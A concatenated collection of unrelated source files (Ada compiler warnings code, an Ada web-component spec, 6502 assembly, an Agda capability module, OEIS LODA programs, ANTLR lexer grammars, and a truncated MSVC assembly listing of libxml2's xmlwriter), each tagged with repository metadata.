when 'k' =>
Warn_On_Constant := True;
when 'K' =>
Warn_On_Constant := False;
when 'l' =>
Elab_Warnings := True;
when 'L' =>
Elab_Warnings := False;
when 'm' =>
Warn_On_Modified_Unread := True;
when 'M' =>
Warn_On_Modified_Unread := False;
when 'n' =>
Warning_Mode := Normal;
when 'o' =>
Address_Clause_Overlay_Warnings := True;
when 'O' =>
Address_Clause_Overlay_Warnings := False;
when 'p' =>
Ineffective_Inline_Warnings := True;
when 'P' =>
Ineffective_Inline_Warnings := False;
when 'r' =>
Warn_On_Redundant_Constructs := True;
when 'R' =>
Warn_On_Redundant_Constructs := False;
when 's' =>
Warning_Mode := Suppress;
when 'u' =>
Check_Unreferenced := True;
Check_Withs := True;
Check_Unreferenced_Formals := True;
when 'U' =>
Check_Unreferenced := False;
Check_Withs := False;
Check_Unreferenced_Formals := False;
when 'v' =>
Warn_On_No_Value_Assigned := True;
when 'V' =>
Warn_On_No_Value_Assigned := False;
when 'x' =>
Warn_On_Export_Import := True;
when 'X' =>
Warn_On_Export_Import := False;
when 'y' =>
Warn_On_Ada_2005_Compatibility := True;
when 'Y' =>
Warn_On_Ada_2005_Compatibility := False;
when 'z' =>
Warn_On_Unchecked_Conversion := True;
when 'Z' =>
Warn_On_Unchecked_Conversion := False;
-- Allow and ignore 'w' so that the old
-- format (e.g. -gnatwuwl) will work.
when 'w' =>
null;
when others =>
return False;
end case;
return True;
end Set_Warning_Switch;
-----------------------------
-- Warn_On_Known_Condition --
-----------------------------
procedure Warn_On_Known_Condition (C : Node_Id) is
P : Node_Id;
begin
-- Argument replacement in an inlined body can make conditions static.
-- Do not emit warnings in this case.
if In_Inlined_Body then
return;
end if;
if Constant_Condition_Warnings
and then Nkind (C) = N_Identifier
and then
(Entity (C) = Standard_False or else Entity (C) = Standard_True)
and then Comes_From_Source (Original_Node (C))
and then not In_Instance
then
-- See if this is in a statement or a declaration
P := Parent (C);
loop
-- If tree is not attached, do not issue warning (this is very
-- peculiar, and probably arises from some other error condition)
if No (P) then
return;
-- If we are in a declaration, then no warning, since in practice
-- conditionals in declarations are used for intended tests which
-- may be known at compile time, e.g. things like
-- x : constant Integer := 2 + (Word'Size = 32);
-- And a warning is annoying in such cases
elsif Nkind (P) in N_Declaration
or else
Nkind (P) in N_Later_Decl_Item
then
return;
-- Don't warn in assert pragma, since presumably tests in such
-- a context are very definitely intended, and might well be
-- known at compile time. Note that we have to test the original
-- node, since assert pragmas get rewritten at analysis time.
elsif Nkind (Original_Node (P)) = N_Pragma
and then Chars (Original_Node (P)) = Name_Assert
then
return;
end if;
exit when Is_Statement (P);
P := Parent (P);
end loop;
-- Here we issue the warning unless some sub-operand has warnings
-- set off, in which case we suppress the warning for the node. If
-- the original expression is an inequality, it has been expanded
-- into a negation, and the value of the original expression is the
-- negation of the equality. If the expression is an entity that
-- appears within a negation, it is clearer to flag the negation
-- itself, and report on its constant value.
if not Operand_Has_Warnings_Suppressed (C) then
declare
True_Branch : Boolean := Entity (C) = Standard_True;
Cond : Node_Id := C;
begin
if Present (Parent (C))
and then Nkind (Parent (C)) = N_Op_Not
then
True_Branch := not True_Branch;
Cond := Parent (C);
end if;
if True_Branch then
if Is_Entity_Name (Original_Node (C))
and then Nkind (Cond) /= N_Op_Not
then
Error_Msg_NE
("object & is always True?", Cond, Original_Node (C));
else
Error_Msg_N ("condition is always True?", Cond);
end if;
else
Error_Msg_N ("condition is always False?", Cond);
end if;
end;
end if;
end if;
end Warn_On_Known_Condition;
end Sem_Warn;
|
src/asf-components.ads | My-Colaborations/ada-asf | 0 | 3647 | -----------------------------------------------------------------------
-- components -- Component tree
-- Copyright (C) 2009, 2010, 2011 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
-- The <bASF.Components</b> describes the components that form the
-- tree view. Each component has attributes and children. Children
-- represent sub-components and attributes control the rendering and
-- behavior of the component.
--
-- The component tree is created from the <b>ASF.Views</b> tag nodes
-- for each request. Unlike tag nodes, the component tree is not shared.
with Ada.Strings.Unbounded;
with EL.Objects;
with EL.Expressions;
limited with ASF.Views.Nodes;
package ASF.Components is
use Ada.Strings.Unbounded;
-- Flag indicating whether or not this component should be rendered
-- (during Render Response Phase), or processed on any subsequent form submit.
-- The default value for this property is true.
RENDERED_NAME : constant String := "rendered";
-- A localized user presentable name for the component.
LABEL_NAME : constant String := "label";
-- Converter instance registered with the component.
CONVERTER_NAME : constant String := "converter";
-- A ValueExpression enabled attribute that, if present, will be used as the text
-- of the converter message, replacing any message that comes from the converter.
CONVERTER_MESSAGE_NAME : constant String := "converterMessage";
-- A ValueExpression enabled attribute that, if present, will be used as the text
-- of the validator message, replacing any message that comes from the validator.
VALIDATOR_MESSAGE_NAME : constant String := "validatorMessage";
-- Flag indicating that the user is required to provide a submitted value for
-- the input component.
REQUIRED_NAME : constant String := "required";
-- A ValueExpression enabled attribute that, if present, will be used as the
-- text of the validation message for the "required" facility, if the "required"
-- facility is used.
REQUIRED_MESSAGE_NAME : constant String := "requiredMessage";
-- The current value of the component.
VALUE_NAME : constant String := "value";
ACTION_NAME : constant String := "action";
-- ------------------------------
-- Attribute of a component
-- ------------------------------
type UIAttribute is private;
private
type UIAttribute_Access is access all UIAttribute;
type UIAttribute is record
Definition : access ASF.Views.Nodes.Tag_Attribute;
Name : Unbounded_String;
Value : EL.Objects.Object;
Expr : EL.Expressions.Expression;
Next_Attr : UIAttribute_Access;
end record;
end ASF.Components;
|
src/01-Clean-Memory/cleanmem.asm | HudsonSchumaker/Atari-2600 | 0 | 27302 | ; <NAME>
; SchumakerTeam Lab
processor 6502
seg code
org $F000 ; define the code origin at $F000
Start:
sei ; disable interrupts
cld ; disable the BCD decimal math mode
ldx #$FF ; loads the X register with #$FF
txs ; transfer X register to S(tack) register
; Clear the Zero Page region ($00 to $FF)
; Meaning the entire TIA register space and also RAM
lda #0 ; A = 0
ldx #$FF ; X = #$FF
MemLoop:
sta $0,X ; store zero at address $0 + X
dex ; x--
bne MemLoop ; loop until X==0 (z-flag set)
; File ROM size to exactly 4KB
org $FFFC
.word Start ; reset vector at $FFFC (where program starts)
.word Start ; interrupt vector at $FFFE (unused in VCS)
|
src/Capability.agda | d-plaindoux/colca | 2 | 6355 | <filename>src/Capability.agda
module Capability where
open import Relation.Nullary
using (yes; no)
open import Data.List
using (List; []; [_]; _∷_; _++_)
open import Data.String
using (String; _≟_)
open import Relation.Binary.PropositionalEquality
using (_≢_; refl; _≡_)
-- Local modules ---------------------------------------------------------------
open import Common
using (Id)
-- Capabilities Definition -----------------------------------------------------
infix 50 `_
infixr 15 _∙_
data Capability : Set where
`_ : Id → Capability -- Name
In : Id → Capability -- Can enter
Out : Id → Capability -- Can exit
Open : Id → Capability -- Can open
ε : Capability -- Null
_∙_ : Capability → Capability → Capability -- Path
-- Free variable ---------------------------------------------------------------
freeVar : Capability -> List Id
freeVar (` a) = [ a ]
freeVar (a ∙ b) = (freeVar a) ++ (freeVar b)
freeVar _ = []
-- Capability substitution -----------------------------------------------------
_[_/_] : Capability -> Id -> Capability -> Capability
` x [ y / M ] with x ≟ y
... | yes _ = M
... | no _ = ` x
(N ∙ R) [ y / M ] = N [ y / M ] ∙ R [ y / M ]
C [ _ / _ ] = C
module Test where
a = "a"
b = "b"
------------------------------------------------------------------------------
_ : freeVar (` a) ≡ [ a ]
_ = refl
_ : freeVar (` a ∙ ` b) ≡ a ∷ b ∷ []
_ = refl
------------------------------------------------------------------------------
_ : ∀ {M} → ` a [ a / M ] ≡ M
_ = refl
_ : ∀ {M} → ` b [ a / M ] ≡ ` b
_ = refl
|
programs/oeis/007/A007291.asm | neoneye/loda | 22 | 86939 | ; A007291: Series expansion for rectilinear polymers on square lattice.
; 7,63,254,710,1605,3157,5628,9324,14595,21835,31482,44018,59969,79905,104440,134232,169983,212439,262390,320670,388157,465773,554484,655300,769275,897507,1041138,1201354,1379385
mov $3,$0
add $3,1
mov $7,$0
lpb $3
mov $0,$7
sub $3,1
sub $0,$3
mov $8,$0
add $8,1
mov $14,$0
mov $15,0
lpb $8
mov $0,$14
mov $4,0
sub $8,1
sub $0,$8
mov $11,$0
mov $12,0
mov $13,$0
add $13,1
lpb $13
mov $0,$11
sub $13,1
sub $0,$13
mul $0,11
mov $6,1
lpb $0
mov $4,4
mul $4,$0
mov $0,6
mov $9,$6
add $9,1
lpe
mov $2,$4
add $9,1
add $10,$0
sub $2,$10
trn $2,$9
add $2,7
trn $5,$10
mov $10,$5
add $12,$2
lpe
add $15,$12
lpe
add $1,$15
lpe
mov $0,$1
|
src/main/antlr4/FilterTokens.g4 | adrianiacobghiula/spring-filter | 109 | 1429 | lexer grammar FilterTokens;
LIKE: '~';
EQUAL: ':';
NOT_EQUAL: '!';
GREATER_THAN: '>';
GREATER_THAN_OR_EQUAL: '>:';
LESS_THAN: '<';
LESS_THAN_OR_EQUAL: '<:';
AND: 'AND' | 'and';
OR: 'OR' | 'or';
NOT: 'NOT' | 'not';
IN: 'IN' | 'in';
IS_NULL: 'IS NULL' | 'is null';
IS_NOT_NULL: 'IS NOT NULL' | 'is not null';
IS_EMPTY: 'IS EMPTY' | 'is empty';
IS_NOT_EMPTY: 'IS NOT EMPTY' | 'is not empty';
TRUE: 'TRUE' | 'true';
FALSE: 'FALSE' | 'false';
DOT: '.';
COMMA: ',';
LPAREN: '(';
RPAREN: ')';
ID: [a-zA-Z_$][a-zA-Z_$0-9]*;
NUMBER: [0-9]+ ('.' [0-9]+)?;
STRING: '\'' (~('\'' | '\\') | '\\' ('\'' | '\\'))* '\'';
WS: [ \t]+ -> skip; //
|
shardingsphere-sql-parser/shardingsphere-sql-parser-dialect/shardingsphere-sql-parser-mysql/src/main/antlr4/imports/mysql/Symbol.g4 | qq5132834/shardingsphere-4-1-1 | 0 | 5888 | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
lexer grammar Symbol;
AND_: '&&';
OR_: '||';
NOT_: '!';
TILDE_: '~';
VERTICAL_BAR_: '|';
AMPERSAND_: '&';
SIGNED_LEFT_SHIFT_: '<<';
SIGNED_RIGHT_SHIFT_: '>>';
CARET_: '^';
MOD_: '%';
COLON_: ':';
PLUS_: '+';
MINUS_: '-';
ASTERISK_: '*';
SLASH_: '/';
BACKSLASH_: '\\';
DOT_: '.';
DOT_ASTERISK_: '.*';
SAFE_EQ_: '<=>';
DEQ_: '==';
EQ_: '=';
NEQ_: '<>' | '!=';
GT_: '>';
GTE_: '>=';
LT_: '<';
LTE_: '<=';
POUND_: '#';
LP_: '(';
RP_: ')';
LBE_: '{';
RBE_: '}';
LBT_: '[';
RBT_: ']';
COMMA_: ',';
DQ_: '"';
SQ_ : '\'';
BQ_: '`';
QUESTION_: '?';
AT_: '@';
SEMI_: ';';
DEDUCTION_: '->'; |
oeis/181/A181894.asm | neoneye/loda-programs | 11 | 18437 | <reponame>neoneye/loda-programs
; A181894: Sum of factors from A050376 in Fermi-Dirac representation of n.
; Submitted by <NAME>
; 0,2,3,4,5,5,7,6,9,7,11,7,13,9,8,16,17,11,19,9,10,13,23,9,25,15,12,11,29,10,31,18,14,19,12,13,37,21,16,11,41,12,43,15,14,25,47,19,49,27,20,17,53,14,16,13,22,31,59,12,61,33,16,20,18,16,67,21,26,14,71,15,73,39,28,23,18,18,79,21,81,43,83,14,22,45,32,17,89,16,20,27,34,49,24,21,97,51,20,29
add $0,1
lpb $0
mov $3,$0
lpb $3
mov $4,$0
mov $6,$2
cmp $6,0
add $2,$6
mod $4,$2
cmp $4,0
cmp $4,0
mov $5,$2
add $2,1
cmp $5,1
max $4,$5
sub $3,$4
lpe
mov $5,1
lpb $0
dif $0,$2
mul $5,$2
mov $2,$5
lpe
add $1,$5
mov $2,2
lpe
mov $0,$1
|
data/maps/headers/Museum1F.asm | opiter09/ASM-Machina | 1 | 80205 | <filename>data/maps/headers/Museum1F.asm
map_header Museum1F, MUSEUM_1F, MUSEUM, 0
end_map_header
|
win32/VC10/Win32/libxml2_Release/xmlwriter.asm | txwizard/libxml2_x64_and_ARM | 0 | 246706 | ; Listing generated by Microsoft (R) Optimizing Compiler Version 19.16.27027.1
TITLE C:\Users\DAG\Documents\_Clients\CodeProject Authors Group\Windows on ARM\libxml2\libxml2-2.9.9\xmlwriter.c
.686P
.XMM
include listing.inc
.model flat
INCLUDELIB MSVCRT
INCLUDELIB OLDNAMES
_DATA SEGMENT
COMM _xmlMalloc:DWORD
COMM _xmlMallocAtomic:DWORD
COMM _xmlRealloc:DWORD
COMM _xmlFree:DWORD
COMM _xmlMemStrdup:DWORD
COMM _forbiddenExp:DWORD
COMM _emptyExp:DWORD
_DATA ENDS
msvcjmc SEGMENT
__188180DA_corecrt_math@h DB 01H
__2CC6E67D_corecrt_stdio_config@h DB 01H
__05476D76_corecrt_wstdio@h DB 01H
__A452D4A0_stdio@h DB 01H
__4384A2D9_corecrt_memcpy_s@h DB 01H
__4E51A221_corecrt_wstring@h DB 01H
__2140C079_string@h DB 01H
__DA396148_xmlwriter@c DB 01H
msvcjmc ENDS
PUBLIC ___local_stdio_printf_options
PUBLIC _xmlNewTextWriter
PUBLIC _xmlNewTextWriterFilename
PUBLIC _xmlNewTextWriterMemory
PUBLIC _xmlNewTextWriterPushParser
PUBLIC _xmlNewTextWriterDoc
PUBLIC _xmlNewTextWriterTree
PUBLIC _xmlFreeTextWriter
PUBLIC _xmlTextWriterStartDocument
PUBLIC _xmlTextWriterEndDocument
PUBLIC _xmlTextWriterStartComment
PUBLIC _xmlTextWriterEndComment
PUBLIC _xmlTextWriterWriteFormatComment
PUBLIC _xmlTextWriterWriteVFormatComment
PUBLIC _xmlTextWriterWriteComment
PUBLIC _xmlTextWriterStartElement
PUBLIC _xmlTextWriterStartElementNS
PUBLIC _xmlTextWriterEndElement
PUBLIC _xmlTextWriterFullEndElement
PUBLIC _xmlTextWriterWriteFormatElement
PUBLIC _xmlTextWriterWriteVFormatElement
PUBLIC _xmlTextWriterWriteElement
PUBLIC _xmlTextWriterWriteFormatElementNS
PUBLIC _xmlTextWriterWriteVFormatElementNS
PUBLIC _xmlTextWriterWriteElementNS
PUBLIC _xmlTextWriterWriteFormatRaw
PUBLIC _xmlTextWriterWriteVFormatRaw
PUBLIC _xmlTextWriterWriteRawLen
PUBLIC _xmlTextWriterWriteRaw
PUBLIC _xmlTextWriterWriteFormatString
PUBLIC _xmlTextWriterWriteVFormatString
PUBLIC _xmlTextWriterWriteString
PUBLIC _xmlTextWriterWriteBase64
PUBLIC _xmlTextWriterWriteBinHex
PUBLIC _xmlTextWriterStartAttribute
PUBLIC _xmlTextWriterStartAttributeNS
PUBLIC _xmlTextWriterEndAttribute
PUBLIC _xmlTextWriterWriteFormatAttribute
PUBLIC _xmlTextWriterWriteVFormatAttribute
PUBLIC _xmlTextWriterWriteAttribute
PUBLIC _xmlTextWriterWriteFormatAttributeNS
PUBLIC _xmlTextWriterWriteVFormatAttributeNS
PUBLIC _xmlTextWriterWriteAttributeNS
PUBLIC _xmlTextWriterStartPI
PUBLIC _xmlTextWriterEndPI
PUBLIC _xmlTextWriterWriteFormatPI
PUBLIC _xmlTextWriterWriteVFormatPI
PUBLIC _xmlTextWriterWritePI
PUBLIC _xmlTextWriterStartCDATA
PUBLIC _xmlTextWriterEndCDATA
PUBLIC _xmlTextWriterWriteFormatCDATA
PUBLIC _xmlTextWriterWriteVFormatCDATA
PUBLIC _xmlTextWriterWriteCDATA
PUBLIC _xmlTextWriterStartDTD
PUBLIC _xmlTextWriterEndDTD
PUBLIC _xmlTextWriterWriteFormatDTD
PUBLIC _xmlTextWriterWriteVFormatDTD
PUBLIC _xmlTextWriterWriteDTD
PUBLIC _xmlTextWriterStartDTDElement
PUBLIC _xmlTextWriterEndDTDElement
PUBLIC _xmlTextWriterWriteFormatDTDElement
PUBLIC _xmlTextWriterWriteVFormatDTDElement
PUBLIC _xmlTextWriterWriteDTDElement
PUBLIC _xmlTextWriterStartDTDAttlist
PUBLIC _xmlTextWriterEndDTDAttlist
PUBLIC _xmlTextWriterWriteFormatDTDAttlist
PUBLIC _xmlTextWriterWriteVFormatDTDAttlist
PUBLIC _xmlTextWriterWriteDTDAttlist
PUBLIC _xmlTextWriterStartDTDEntity
PUBLIC _xmlTextWriterEndDTDEntity
PUBLIC _xmlTextWriterWriteFormatDTDInternalEntity
PUBLIC _xmlTextWriterWriteVFormatDTDInternalEntity
PUBLIC _xmlTextWriterWriteDTDInternalEntity
PUBLIC _xmlTextWriterWriteDTDExternalEntity
PUBLIC _xmlTextWriterWriteDTDExternalEntityContents
PUBLIC _xmlTextWriterWriteDTDEntity
PUBLIC _xmlTextWriterWriteDTDNotation
PUBLIC _xmlTextWriterSetIndent
PUBLIC _xmlTextWriterSetIndentString
PUBLIC _xmlTextWriterSetQuoteChar
PUBLIC _xmlTextWriterFlush
PUBLIC __JustMyCode_Default
PUBLIC ??_C@_02DKCKIIND@?$CFs@ ; `string'
PUBLIC ??_C@_0CD@BLMOIHCP@xmlNewTextWriter?5?3?5out?5of?5memor@ ; `string'
PUBLIC ??_C@_01CLKCMJKC@?5@ ; `string'
PUBLIC ??_C@_0CM@BPKCIIPG@xmlNewTextWriterFilename?5?3?5cann@ ; `string'
PUBLIC ??_C@_0CL@DOKHFPFK@xmlNewTextWriterFilename?5?3?5out?5@ ; `string'
PUBLIC ??_C@_0CJ@HOKLKMGC@xmlNewTextWriterMemory?5?3?5out?5of@ ; `string'
PUBLIC ??_C@_0CP@MDJJPOLB@xmlNewTextWriterPushParser?5?3?5in@ ; `string'
PUBLIC ??_C@_0EA@BHKIBNFO@xmlNewTextWriterPushParser?5?3?5er@ ; `string'
PUBLIC ??_C@_0DJ@DOJNHAEH@xmlNewTextWriterPushParser?5?3?5er@ ; `string'
PUBLIC ??_C@_0DJ@MHFIEMJE@xmlNewTextWriterDoc?5?3?5error?5at?5@ ; `string'
PUBLIC ??_C@_03HLLJOCDO@1?40@ ; `string'
PUBLIC ??_C@_0CL@MKPGDELP@xmlNewTextWriterDoc?5?3?5error?5at?5@ ; `string'
PUBLIC ??_C@_0DM@HKPAOPJL@xmlNewTextWriterDoc?5?3?5error?5at?5@ ; `string'
PUBLIC ??_C@_0CP@PFMBJEMH@xmlNewTextWriterTree?5?3?5invalid?5@ ; `string'
PUBLIC ??_C@_0CO@KMFPACDM@xmlTextWriterStartDocument?5?3?5in@ ; `string'
PUBLIC ??_C@_0DL@JOCNHFIJ@xmlTextWriterStartDocument?5?3?5no@ ; `string'
PUBLIC ??_C@_0CN@ODOCGFDE@xmlTextWriterStartDocument?5?3?5ou@ ; `string'
PUBLIC ??_C@_0P@CNJADHFP@?$DM?$DPxml?5version?$DN@ ; `string'
PUBLIC ??_C@_0L@GJNPICMJ@?5encoding?$DN@ ; `string'
PUBLIC ??_C@_0N@BGGHLCGN@?5standalone?$DN@ ; `string'
PUBLIC ??_C@_03KCOJOIAE@?$DP?$DO?6@ ; `string'
PUBLIC ??_C@_0CM@MFAOOHEJ@xmlTextWriterEndDocument?5?3?5inva@ ; `string'
PUBLIC ??_C@_01EEMJAFIK@?6@ ; `string'
PUBLIC ??_C@_0CN@DOOOICJG@xmlTextWriterStartComment?5?3?5inv@ ; `string'
PUBLIC ??_C@_01PPODPGHN@?$DO@ ; `string'
PUBLIC ??_C@_0CM@FINCADKE@xmlTextWriterStartElement?5?3?5out@ ; `string'
PUBLIC ??_C@_04FFDNBKGC@?$DM?$CB?9?9@ ; `string'
PUBLIC ??_C@_0CL@GJMJAJAF@xmlTextWriterEndComment?5?3?5inval@ ; `string'
PUBLIC ??_C@_0DI@MAGHMILC@xmlTextWriterEndComment?5?3?5not?5a@ ; `string'
PUBLIC ??_C@_03PNLDJJMO@?9?9?$DO@ ; `string'
PUBLIC ??_C@_0DE@JBFCJMHJ@xmlTextWriterWriteVFormatCommen@ ; `string'
PUBLIC ??_C@_01MNNFJEPP@?$DM@ ; `string'
PUBLIC ??_C@_01JLIPDDHJ@?3@ ; `string'
PUBLIC ??_C@_0CO@MGJEFOHO@xmlTextWriterStartElementNS?5?3?5o@ ; `string'
PUBLIC ??_C@_05PPEFOGKI@xmlns@ ; `string'
PUBLIC ??_C@_02HCGKDMEN@?1?$DO@ ; `string'
PUBLIC ??_C@_02DPNDACHE@?$DM?1@ ; `string'
PUBLIC ??_C@_0CM@KBMCGCHN@xmlTextWriterWriteRawLen?5?3?5inva@ ; `string'
PUBLIC ??_C@_0CN@MACOIGNG@xmlTextWriterWriteRawLen?5?3?5inva@ ; `string'
PUBLIC ??_C@_02PCIJFNDE@?$AN?6@ ; `string'
PUBLIC ??_C@_01NEMOKFLO@?$DN@ ; `string'
PUBLIC ??_C@_0DA@LBMIIMOH@xmlTextWriterStartAttributeNS?5?3@ ; `string'
PUBLIC ??_C@_03PJHHNEEI@xml@ ; `string'
PUBLIC ??_C@_0FG@KFBLHCOM@xmlTextWriterStartPI?5?3?5target?5n@ ; `string'
PUBLIC ??_C@_0CD@KBFLMPAO@xmlTextWriterStartPI?5?3?5nested?5P@ ; `string'
PUBLIC ??_C@_0CH@IKGNFAGK@xmlTextWriterStartPI?5?3?5out?5of?5m@ ; `string'
PUBLIC ??_C@_02HFBBBACF@?$DM?$DP@ ; `string'
PUBLIC ??_C@_02GOEMJPDN@?$DP?$DO@ ; `string'
PUBLIC ??_C@_0DO@LGFOPFHE@xmlTextWriterStartCDATA?5?3?5CDATA@ ; `string'
PUBLIC ??_C@_0CK@FMBLGDPB@xmlTextWriterStartCDATA?5?3?5out?5o@ ; `string'
PUBLIC ??_C@_09BLLNCBLF@?$DM?$CB?$FLCDATA?$FL@ ; `string'
PUBLIC ??_C@_03MCHNFBAC@?$FN?$FN?$DO@ ; `string'
PUBLIC ??_C@_0DF@KCNCPLNC@xmlTextWriterStartDTD?5?3?5DTD?5all@ ; `string'
PUBLIC ??_C@_0CI@CDIDIABN@xmlTextWriterStartDTD?5?3?5out?5of?5@ ; `string'
PUBLIC ??_C@_0L@JKHDJBPI@?$DM?$CBDOCTYPE?5@ ; `string'
PUBLIC ??_C@_0DD@KKKOOJH@xmlTextWriterStartDTD?5?3?5system?5@ ; `string'
PUBLIC ??_C@_07GAMBALOD@PUBLIC?5@ ; `string'
PUBLIC ??_C@_07PBLMPJLL@SYSTEM?5@ ; `string'
PUBLIC ??_C@_08HBIFNNEL@?6?5?5?5?5?5?5?5@ ; `string'
PUBLIC ??_C@_01LBDDMOBJ@?$FN@ ; `string'
PUBLIC ??_C@_02GBLMOEJC@?5?$FL@ ; `string'
PUBLIC ??_C@_0CP@HLOPJJJB@xmlTextWriterStartDTDElement?5?3?5@ ; `string'
PUBLIC ??_C@_0L@EMLMHHFJ@?$DM?$CBELEMENT?5@ ; `string'
PUBLIC ??_C@_0CP@EGINGCOH@xmlTextWriterStartDTDAttlist?5?3?5@ ; `string'
PUBLIC ??_C@_0L@NDHICKFH@?$DM?$CBATTLIST?5@ ; `string'
PUBLIC ??_C@_09POADHIMD@?$DM?$CBENTITY?5@ ; `string'
PUBLIC ??_C@_02KLLMIGEE@?$CF?5@ ; `string'
PUBLIC ??_C@_0EI@DDDMEPLI@xmlTextWriterWriteDTDExternalEn@ ; `string'
PUBLIC ??_C@_0HK@MIJHHHOH@xmlTextWriterWriteDTDExternalEn@ ; `string'
PUBLIC ??_C@_0FM@COPKODIE@xmlTextWriterWriteDTDExternalEn@ ; `string'
PUBLIC ??_C@_0EI@PKOPPIFG@xmlTextWriterWriteDTDExternalEn@ ; `string'
PUBLIC ??_C@_08GBBLECIH@?5PUBLIC?5@ ; `string'
PUBLIC ??_C@_07FCENLLFI@?5SYSTEM@ ; `string'
PUBLIC ??_C@_07CGHGCOMH@?5NDATA?5@ ; `string'
PUBLIC ??_C@_0M@IOFINGOM@?$DM?$CBNOTATION?5@ ; `string'
PUBLIC ??_C@_0DA@HGAENLDC@xmlTextWriterWriteDocCallback?5?3@ ; `string'
PUBLIC ??_C@_0DA@LOAGMMIC@xmlTextWriterCloseDocCallback?5?3@ ; `string'
PUBLIC ??_C@_0CI@EEFGHMNP@xmlTextWriterVSprintf?5?3?5out?5of?5@ ; `string'
PUBLIC ??_C@_0CE@EPNLGKMK@SAX?4startDocument?$CI?$CJ?3?5out?5of?5mem@ ; `string'
EXTRN _xmlStrdup:PROC
EXTRN _xmlStrcmp:PROC
EXTRN _xmlStrcasecmp:PROC
EXTRN _xmlStrlen:PROC
EXTRN _xmlStrcat:PROC
EXTRN __imp____stdio_common_vsprintf:PROC
EXTRN _xmlNewDoc:PROC
EXTRN _xmlFreeDoc:PROC
EXTRN _xmlSetDocCompressMode:PROC
EXTRN ___xmlRaiseError:PROC
EXTRN _xmlListCreate:PROC
EXTRN _xmlListDelete:PROC
EXTRN _xmlListSearch:PROC
EXTRN _xmlListEmpty:PROC
EXTRN _xmlListFront:PROC
EXTRN _xmlListSize:PROC
EXTRN _xmlListPopFront:PROC
EXTRN _xmlListPushFront:PROC
EXTRN _xmlLinkGetData:PROC
EXTRN _xmlEncodeSpecialChars:PROC
EXTRN _xmlFindCharEncodingHandler:PROC
EXTRN _xmlOutputBufferCreateFilename:PROC
EXTRN _xmlOutputBufferCreateBuffer:PROC
EXTRN _xmlOutputBufferCreateIO:PROC
EXTRN _xmlOutputBufferWrite:PROC
EXTRN _xmlOutputBufferWriteString:PROC
EXTRN _xmlOutputBufferFlush:PROC
EXTRN _xmlOutputBufferClose:PROC
EXTRN _xmlFreeParserCtxt:PROC
EXTRN _xmlCreatePushParserCtxt:PROC
EXTRN _xmlParseChunk:PROC
EXTRN _xmlSAX2StartElement:PROC
EXTRN _xmlSAX2EndElement:PROC
EXTRN _xmlSAX2InitDefaultSAXHandler:PROC
EXTRN _xmlCanonicPath:PROC
EXTRN _htmlNewDocNoDtD:PROC
EXTRN _xmlBufCreateSize:PROC
EXTRN _xmlCharEncOutput:PROC
EXTRN _xmlBufAttrSerializeTxtContent:PROC
EXTRN @__CheckForDebuggerJustMyCode@4:PROC
EXTRN _memset:PROC
_DATA SEGMENT
COMM ?_OptionsStorage@?1??__local_stdio_printf_options@@9@9:QWORD ; `__local_stdio_printf_options'::`2'::_OptionsStorage
_DATA ENDS
; COMDAT ??_C@_0CE@EPNLGKMK@SAX?4startDocument?$CI?$CJ?3?5out?5of?5mem@
CONST SEGMENT
??_C@_0CE@EPNLGKMK@SAX?4startDocument?$CI?$CJ?3?5out?5of?5mem@ DB 'SAX.st'
DB 'artDocument(): out of memory', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CI@EEFGHMNP@xmlTextWriterVSprintf?5?3?5out?5of?5@
CONST SEGMENT
??_C@_0CI@EEFGHMNP@xmlTextWriterVSprintf?5?3?5out?5of?5@ DB 'xmlTextWrite'
DB 'rVSprintf : out of memory!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0DA@LOAGMMIC@xmlTextWriterCloseDocCallback?5?3@
CONST SEGMENT
??_C@_0DA@LOAGMMIC@xmlTextWriterCloseDocCallback?5?3@ DB 'xmlTextWriterCl'
DB 'oseDocCallback : XML error %d !', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0DA@HGAENLDC@xmlTextWriterWriteDocCallback?5?3@
CONST SEGMENT
??_C@_0DA@HGAENLDC@xmlTextWriterWriteDocCallback?5?3@ DB 'xmlTextWriterWr'
DB 'iteDocCallback : XML error %d !', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0M@IOFINGOM@?$DM?$CBNOTATION?5@
CONST SEGMENT
??_C@_0M@IOFINGOM@?$DM?$CBNOTATION?5@ DB '<!NOTATION ', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_07CGHGCOMH@?5NDATA?5@
CONST SEGMENT
??_C@_07CGHGCOMH@?5NDATA?5@ DB ' NDATA ', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_07FCENLLFI@?5SYSTEM@
CONST SEGMENT
??_C@_07FCENLLFI@?5SYSTEM@ DB ' SYSTEM', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_08GBBLECIH@?5PUBLIC?5@
CONST SEGMENT
??_C@_08GBBLECIH@?5PUBLIC?5@ DB ' PUBLIC ', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0EI@PKOPPIFG@xmlTextWriterWriteDTDExternalEn@
CONST SEGMENT
??_C@_0EI@PKOPPIFG@xmlTextWriterWriteDTDExternalEn@ DB 'xmlTextWriterWrit'
DB 'eDTDExternalEntityContents: system identifier needed!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0FM@COPKODIE@xmlTextWriterWriteDTDExternalEn@
CONST SEGMENT
??_C@_0FM@COPKODIE@xmlTextWriterWriteDTDExternalEn@ DB 'xmlTextWriterWrit'
DB 'eDTDExternalEntityContents: notation not allowed with paramet'
